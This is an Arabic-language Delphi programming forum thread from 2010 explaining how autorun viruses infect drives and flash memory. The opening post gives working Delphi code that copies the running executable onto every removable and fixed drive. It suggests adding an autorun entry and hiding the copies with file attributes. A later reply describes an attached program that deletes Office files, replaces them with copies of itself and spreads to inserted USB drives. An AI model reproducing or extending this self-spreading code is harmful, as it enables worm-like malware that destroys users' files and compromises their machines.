+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي التقنية (https://delphi4arab.net/forum/forumdisplay.php?fid=6)
+--- قسم : دلفي والتعامل مع النظام و الذاكرة (https://delphi4arab.net/forum/forumdisplay.php?fid=20)
+--- الموضوع : كيف تصيب فيروسات autorun الديسك والفلاش ميموري (/showthread.php?tid=2051)
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - php3man - 29-05-2010
بسم الله الرحمن الرحيم
السلام عليكم ورحمه الله وبركاته
فيروسات autorun كيف تصيب الديسك والفلاش ميموري
داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string
في السطر الاول
مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي
اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case
اوستدعينا الداله infect للاجراء flash
نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري
يمكن تطوره شوي من داله
WritePrivateProfileString
تضع ملف autorun تشغيل تلقائي
يمكن تطوره اكتر وباضافة داله
SetFileAttributes
لتخفي الملفات الناتجه
السلام عليكم ورحمه الله وبركاته
فيروسات autorun كيف تصيب الديسك والفلاش ميموري
PHP كود :
function infect(drive : string):string;
var app : string;
begin
app := application.ExeName;
copyfile(Pchar(app),Pchar(drive + ':\'+application.Title+'.exe'),true);
end;
داله بسيطه لنسخ الملف الي drive
عرفنا متغير app علي أساس انه string
في السطر الاول
PHP كود :
app := application.ExeName;
مسار الملف التنفيذي
داله copyfile
لنسخ الملف التنفيذي الي المسارات اللي نحددها بالاجراء الاتي
PHP كود :
procedure flash;
var flash : Char;
begin
For flash := 'A' TO 'Z' Do
case GetDriveType(Pchar(Flash + ':\')) of
2:
infect(flash);
3:
infect(flash);
end;
end;
اجراء بسيط بالداله
GetDriveType
لمعرفه نوع الديسك اذا كان فلاش ميموري يكون رقم 2
يكون دريف عادي fixed يكون رقم تلاته وعرفناها case
اوستدعينا الداله infect للاجراء flash
نضع زر نكتب فيه
flash;
النتيجه ينسخ الملف الي جميع الدريفات حتي الميميوري
يمكن تطوره شوي من داله
WritePrivateProfileString
تضع ملف autorun تشغيل تلقائي
يمكن تطوره اكتر وباضافة داله
SetFileAttributes
لتخفي الملفات الناتجه
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - kachwahed - 29-05-2010
وعليكم السلام ورحمة الله
فكرة جميلة، يمكنك يفيدك هذا:
http://www.delphi4arab.net/forum/showthread.php?tid=1528
ملاحظة: حاول أن تكتب عربي حتى يفهمك الجميع
بالتوفيق.
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - amr-zaki - 06-06-2010
ممتاز !
يعطيك الف عافية
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - رمضان عون - 06-06-2010
نشكر كل من ساهمة في هدا الموقع وجزاه الله عنا كل خير
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - kachwahed - 06-06-2010
إقتباس :فيروسات autorunللتنبيه: ملف الإقلاع الذاتي Autorun.inf ليس Virus.
كيف تصيب فيروسات autorun الديسك والفلاش ميموري - issamdnn - 13-06-2010
السلام عليكم ورحمة الله وبركاته...
الموضوع على ما يبدو رائع للتحدث حوله إليك هذه الوحدة اخي العزيز وهي مثال بسيط على برنامج يقوم بحذف كل ملفات الأوفيس وإستبدالها بملفات البرنامج نفسه يعني مثل الفيروسات تقريباً(بألية النسخ) يعني (عمل تخريبي) .... كما أنه يقوم بإكتشاف إدخال ال USB falsh memory ويقوم أيضاً بنسخ نفسه إلى الذاكرة المدخلة..... (لكن لا تعتبره فيروس فهو ليس كذلك) ويمكن وضع مسار الملف ضمن ال inf الخاص بالفلاش مما يسمح بتشغيل البرنامج السابق مباشرة عند إقلاع الفلاش ميموري...
تحياتي للجميع : الملف في المرفقات .